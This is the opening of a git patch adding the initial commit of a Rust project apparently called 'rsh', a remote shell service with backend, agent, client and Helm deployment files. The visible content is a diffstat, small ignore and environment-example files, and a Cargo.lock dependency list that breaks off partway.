From bab9ac8733accb67f25dea024d75eb8eb83f60b0 Mon Sep 17 00:00:00 2001 From: minco Date: Tue, 12 May 2026 21:38:14 +0900 Subject: [PATCH] initial commit --- .dockerignore | 7 + .env.example | 4 + .gitignore | 2 + Cargo.lock | 3773 +++++++++++++++++ Cargo.toml | 50 + Dockerfile | 22 + crates/rsh-backend/Cargo.toml | 24 + crates/rsh-backend/src/auth.rs | 29 + crates/rsh-backend/src/config.rs | 30 + crates/rsh-backend/src/keys.rs | 10 + crates/rsh-backend/src/main.rs | 60 + crates/rsh-backend/src/persist.rs | 45 + crates/rsh-backend/src/state.rs | 71 + crates/rsh-backend/src/ws_op.rs | 388 ++ crates/rsh-backend/src/ws_stub.rs | 155 + crates/rsh-types/Cargo.toml | 9 + crates/rsh-types/src/lib.rs | 138 + crates/rsh/Cargo.toml | 20 + crates/rsh/src/main.rs | 44 + crates/rsh/src/pty.rs | 87 + crates/rsh/src/ws.rs | 187 + crates/rshc/Cargo.toml | 34 + crates/rshc/src/auth.rs | 197 + crates/rshc/src/cmd/connect.rs | 163 + crates/rshc/src/cmd/connection.rs | 22 + crates/rshc/src/cmd/keys.rs | 106 + crates/rshc/src/cmd/mod.rs | 5 + crates/rshc/src/cmd/session.rs | 97 + crates/rshc/src/cmd/watch.rs | 39 + crates/rshc/src/config.rs | 45 + crates/rshc/src/main.rs | 156 + crates/rshc/src/ui.rs | 73 + deploy/helm/rsh-backend/Chart.yaml | 6 + .../helm/rsh-backend/templates/_helpers.tpl | 37 + .../rsh-backend/templates/deployment.yaml | 117 + .../helm/rsh-backend/templates/ingress.yaml | 33 + deploy/helm/rsh-backend/templates/pvc.yaml | 17 + deploy/helm/rsh-backend/templates/secret.yaml | 12 + .../helm/rsh-backend/templates/service.yaml | 19 + .../rsh-backend/templates/serviceaccount.yaml | 12 + deploy/helm/rsh-backend/values.yaml | 55 + docker-compose.yml | 19 + 42 files changed, 6419 insertions(+) create mode 100644 .dockerignore create mode 100644 .env.example create mode 100644 .gitignore create mode 100644 Cargo.lock create mode 100644 Cargo.toml create mode 100644 Dockerfile create mode 100644 crates/rsh-backend/Cargo.toml create mode 100644 crates/rsh-backend/src/auth.rs create mode 100644 crates/rsh-backend/src/config.rs create mode 100644 crates/rsh-backend/src/keys.rs create mode 100644 crates/rsh-backend/src/main.rs create mode 100644 crates/rsh-backend/src/persist.rs create mode 100644 crates/rsh-backend/src/state.rs create mode 100644 crates/rsh-backend/src/ws_op.rs create mode 100644 crates/rsh-backend/src/ws_stub.rs create mode 100644 crates/rsh-types/Cargo.toml create mode 100644 crates/rsh-types/src/lib.rs create mode 100644 crates/rsh/Cargo.toml create mode 100644 crates/rsh/src/main.rs create mode 100644 crates/rsh/src/pty.rs create mode 100644 crates/rsh/src/ws.rs create mode 100644 crates/rshc/Cargo.toml create mode 100644 crates/rshc/src/auth.rs create mode 100644 crates/rshc/src/cmd/connect.rs create mode 100644 crates/rshc/src/cmd/connection.rs create mode 100644 crates/rshc/src/cmd/keys.rs create mode 100644 crates/rshc/src/cmd/mod.rs create mode 100644 crates/rshc/src/cmd/session.rs create mode 100644 crates/rshc/src/cmd/watch.rs create mode 100644 crates/rshc/src/config.rs create mode 100644 crates/rshc/src/main.rs create mode 100644 crates/rshc/src/ui.rs create mode 100644 deploy/helm/rsh-backend/Chart.yaml create mode 100644 deploy/helm/rsh-backend/templates/_helpers.tpl create mode 100644 deploy/helm/rsh-backend/templates/deployment.yaml create mode 100644 deploy/helm/rsh-backend/templates/ingress.yaml create mode 100644 deploy/helm/rsh-backend/templates/pvc.yaml create mode 100644 deploy/helm/rsh-backend/templates/secret.yaml create mode 100644 deploy/helm/rsh-backend/templates/service.yaml create mode 100644 deploy/helm/rsh-backend/templates/serviceaccount.yaml create mode 100644 deploy/helm/rsh-backend/values.yaml create mode 100644 docker-compose.yml diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..dc94571 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,7 @@ +target +.git +.claude +deploy +*.md +Dockerfile +.dockerignore diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..1c08cf3 --- /dev/null +++ b/.env.example @@ -0,0 +1,4 @@ +RSH_PORT=7777 +RSH_LOG=info +RSH_IMAGE_TAG=local +RSH_DATA_DIR=rsh-data diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..14ee500 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +target/ +.env diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..e66ae7d --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,3773 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "aead" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" +dependencies = [ + "crypto-common", + "generic-array", +] + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "aes-gcm" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1" +dependencies = [ + "aead", + "aes", + "cipher", + "ctr", + "ghash", + "subtle", +] + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + +[[package]] +name = "anstream" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "824a212faf96e9acacdbd09febd34438f8f711fb84e09a8916013cd7815ca28d" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000" + +[[package]] +name = "anstyle-parse" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ce7f38b242319f7cabaa6813055467063ecdc9d355bbb4ce0c68908cd8130e" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys 0.61.2", +] + +[[package]] +name = "anyhow" +version = "1.0.102" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" + +[[package]] +name = "argon2" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c3610892ee6e0cbce8ae2700349fcf8f98adb0dbfbee85aec3c9179d29cc072" +dependencies = [ + "base64ct", + "blake2", + "cpufeatures", + "password-hash", +] + +[[package]] +name = "async-trait" +version = "0.1.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "autocfg" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" + +[[package]] +name = "axum" +version = "0.7.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edca88bc138befd0323b20752846e6587272d3b03b0343c8ea28a6f819e6e71f" +dependencies = [ + "async-trait", + "axum-core", + "axum-macros", + "base64", + "bytes", + "futures-util", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-util", + "itoa", + "matchit", + "memchr", + "mime", + "percent-encoding", + "pin-project-lite", + "rustversion", + "serde", + "serde_json", + "serde_path_to_error", + "serde_urlencoded", + "sha1", + "sync_wrapper", + "tokio", + "tokio-tungstenite", + "tower", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "axum-core" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09f2bd6146b97ae3359fa0cc6d6b376d9539582c7b4220f041a33ec24c226199" +dependencies = [ + "async-trait", + "bytes", + "futures-util", + "http", + "http-body", + "http-body-util", + "mime", + "pin-project-lite", + "rustversion", + "sync_wrapper", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "axum-macros" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57d123550fa8d071b7255cb0cc04dc302baa6c8c4a79f55701552684d8399bce" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "base16ct" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "base64ct" +version = "1.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06" + +[[package]] +name = "bcrypt-pbkdf" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6aeac2e1fe888769f34f05ac343bbef98b14d1ffb292ab69d4608b3abc86f2a2" +dependencies = [ + "blowfish", + "pbkdf2", + "sha2", +] + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4512299f36f043ab09a583e57bceb5a5aab7a73db1805848e8fef3c9e8c78b3" + +[[package]] +name = "blake2" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46502ad458c9a52b69d4d4d32775c788b7a1b85e8bc9d482d92250fc0e3f8efe" +dependencies = [ + "digest", +] + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "block-padding" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" +dependencies = [ + "generic-array", +] + +[[package]] +name = "blowfish" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e412e2cd0f2b2d93e02543ceae7917b3c70331573df19ee046bcbc35e45e87d7" +dependencies = [ + "byteorder", + "cipher", +] + +[[package]] +name = "bumpalo" +version = "3.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d20789868f4b01b2f2caec9f5c4e0213b41e3e5702a50157d699ae31ced2fcb" + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e748733b7cbc798e1434b6ac524f0c1ff2ab456fe201501e6497c8417a4fc33" +dependencies = [ + "serde", +] + +[[package]] +name = "cbc" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6" +dependencies = [ + "cipher", +] + +[[package]] +name = "cc" +version = "1.2.62" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1dce859f0832a7d088c4f1119888ab94ef4b5d6795d1ce05afb7fe159d79f98" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "cfg_aliases" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" + +[[package]] +name = "chacha20" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "clap" +version = "4.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ddb117e43bbf7dacf0a4190fef4d345b9bad68dfc649cb349e7d17d28428e51" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "714a53001bf66416adb0e2ef5ac857140e7dc3a0c48fb28b2f10762fc4b5069f" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2ce8604710f6733aa641a2b3731eaa1e8b3d9973d5e3565da11800813f997a9" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "clap_lex" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8d4a3bb8b1e0c1050499d1815f5ab16d04f0959b233085fb31653fbfc9d98f9" + +[[package]] +name = "colorchoice" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570" + +[[package]] +name = "comfy-table" +version = "7.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "958c5d6ecf1f214b4c2bbbbf6ab9523a864bd136dcf71a7e8904799acfe1ad47" +dependencies = [ + "crossterm 0.29.0", + "unicode-segmentation", + "unicode-width 0.2.2", +] + +[[package]] +name = "const-oid" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" + +[[package]] +name = "core-foundation" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a6cd9ae233e7f62ba4e9353e81a88df7fc8a5987b8d445b4d90c879bd156f6" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" + +[[package]] +name = "crossterm" +version = "0.25.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e64e6c0fbe2c17357405f7c758c1ef960fce08bdfb2c03d88d2a18d7e09c4b67" +dependencies = [ + "bitflags 1.3.2", + "crossterm_winapi", + "libc", + "mio 0.8.11", + "parking_lot", + "signal-hook", + "signal-hook-mio", + "winapi", +] + +[[package]] +name = "crossterm" +version = "0.28.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "829d955a0bb380ef178a640b91779e3987da38c9aea133b20614cfed8cdea9c6" +dependencies = [ + "bitflags 2.11.1", + "crossterm_winapi", + "futures-core", + "mio 1.2.0", + "parking_lot", + "rustix 0.38.44", + "signal-hook", + "signal-hook-mio", + "winapi", +] + +[[package]] +name = "crossterm" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8b9f2e4c67f833b660cdb0a3523065869fb35570177239812ed4c905aeff87b" +dependencies = [ + "bitflags 2.11.1", + "crossterm_winapi", + "document-features", + "parking_lot", + "rustix 1.1.4", + "winapi", +] + +[[package]] +name = "crossterm_winapi" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acdd7c62a3665c7f6830a51635d9ac9b23ed385797f70a83bb8bafe9c572ab2b" +dependencies = [ + "winapi", +] + +[[package]] +name = "crypto-bigint" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76" +dependencies = [ + "generic-array", + "rand_core 0.6.4", + "subtle", + "zeroize", +] + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "ctr" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" +dependencies = [ + "cipher", +] + +[[package]] +name = "curve25519-dalek" +version = "4.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" +dependencies = [ + "cfg-if", + "cpufeatures", + "curve25519-dalek-derive", + "digest", + "fiat-crypto", + "rustc_version", + "subtle", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "dashmap" +version = "6.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5041cc499144891f3790297212f32a74fb938e5136a14943f338ef9e0ae276cf" +dependencies = [ + "cfg-if", + "crossbeam-utils", + "hashbrown 0.14.5", + "lock_api", + "once_cell", + "parking_lot_core", +] + +[[package]] +name = "data-encoding" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4ae5f15dda3c708c0ade84bfee31ccab44a3da4f88015ed22f63732abe300c8" + +[[package]] +name = "der" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" +dependencies = [ + "const-oid", + "zeroize", +] + +[[package]] +name = "deranged" +version = "0.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7cd812cc2bc1d69d4764bd80df88b4317eaef9e773c75226407d9bc0876b211c" +dependencies = [ + "powerfmt", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "const-oid", + "crypto-common", + "subtle", +] + +[[package]] +name = "dirs" +version = "5.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44c45a9d03d6676652bcb5e724c7e988de1acad23a711b5217ab9cbecbec2225" +dependencies = [ + "dirs-sys 0.4.1", +] + +[[package]] +name = "dirs" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3e8aa94d75141228480295a7d0e7feb620b1a5ad9f12bc40be62411e38cce4e" +dependencies = [ + "dirs-sys 0.5.0", +] + +[[package]] +name = "dirs-sys" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c" +dependencies = [ + "libc", + "option-ext", + "redox_users 0.4.6", + "windows-sys 0.48.0", +] + +[[package]] +name = "dirs-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e01a3366d27ee9890022452ee61b2b63a67e6f13f58900b651ff5665f0bb1fab" +dependencies = [ + "libc", + "option-ext", + "redox_users 0.5.2", + "windows-sys 0.61.2", +] + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "document-features" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4b8a88685455ed29a21542a33abd9cb6510b6b129abadabdcef0f4c55bc8f61" +dependencies = [ + "litrs", +] + +[[package]] +name = "downcast-rs" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75b325c5dbd37f80359721ad39aca5a29fb04c89279657cffdda8736d0c0b9d2" + +[[package]] +name = "dyn-clone" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0881ea181b1df73ff77ffaaf9c7544ecc11e82fba9b5f27b262a3c73a332555" + +[[package]] +name = "ecdsa" +version = "0.16.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca" +dependencies = [ + "der", + "digest", + "elliptic-curve", + "rfc6979", + "signature", + "spki", +] + +[[package]] +name = "ed25519" +version = "2.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53" +dependencies = [ + "signature", +] + +[[package]] +name = "ed25519-dalek" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70e796c081cee67dc755e1a36a0a172b897fab85fc3f6bc48307991f64e4eca9" +dependencies = [ + "curve25519-dalek", + "ed25519", + "sha2", + "subtle", +] + +[[package]] +name = "elliptic-curve" +version = "0.13.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6043086bf7973472e0c7dff2142ea0b680d30e18d9cc40f267efbf222bd47" +dependencies = [ + "base16ct", + "crypto-bigint", + "digest", + "ff", + "generic-array", + "group", + "pkcs8", + "rand_core 0.6.4", + "sec1", + "subtle", + "zeroize", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "fastrand" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f1f227452a390804cdb637b74a86990f2a7d7ba4b7d5693aac9b4dd6defd8d6" + +[[package]] +name = "ff" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0b50bfb653653f9ca9095b427bed08ab8d75a137839d9ad64eb11810d5b6393" +dependencies = [ + "rand_core 0.6.4", + "subtle", +] + +[[package]] +name = "fiat-crypto" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" + +[[package]] +name = "filedescriptor" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e40758ed24c9b2eeb76c35fb0aebc66c626084edd827e07e1552279814c6682d" +dependencies = [ + "libc", + "thiserror 1.0.69", + "winapi", +] + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "foldhash" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures-channel" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07bbe89c50d7a535e539b8c17bc0b49bdb77747034daa8087407d655f3f7cc1d" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e3450815272ef58cec6d564423f6e755e25379b217b0bc688e295ba24df6b1d" + +[[package]] +name = "futures-io" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cecba35d7ad927e23624b22ad55235f2239cfa44fd10428eecbeba6d6a717718" + +[[package]] +name = "futures-macro" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e835b70203e41293343137df5c0664546da5745f82ec9b84d40be8336958447b" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-sink" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c39754e157331b013978ec91992bde1ac089843443c49cbc7f46150b0fad0893" + +[[package]] +name = "futures-task" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "037711b3d59c33004d3856fbdc83b99d4ff37a24768fa1be9ce3538a1cde4393" + +[[package]] +name = "futures-util" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "389ca41296e6190b48053de0321d02a77f32f8a5d2461dd38762c0593805c6d6" +dependencies = [ + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "slab", +] + +[[package]] +name = "fuzzy-matcher" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "54614a3312934d066701a80f20f15fa3b56d67ac7722b39eea5b4c9dd1d66c94" +dependencies = [ + "thread_local", +] + +[[package]] +name = "fxhash" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c" +dependencies = [ + "byteorder", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", + "zeroize", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "wasi", + "wasm-bindgen", +] + +[[package]] +name = "getrandom" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "r-efi 5.3.0", + "wasip2", + "wasm-bindgen", +] + +[[package]] +name = "getrandom" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de51e6874e94e7bf76d726fc5d13ba782deca734ff60d5bb2fb2607c7406555" +dependencies = [ + "cfg-if", + "libc", + "r-efi 6.0.0", + "wasip2", + "wasip3", +] + +[[package]] +name = "ghash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0d8a4362ccb29cb0b265253fb0a2728f592895ee6854fd9bc13f2ffda266ff1" +dependencies = [ + "opaque-debug", + "polyval", +] + +[[package]] +name = "group" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63" +dependencies = [ + "ff", + "rand_core 0.6.4", + "subtle", +] + +[[package]] +name = "hashbrown" +version = "0.14.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 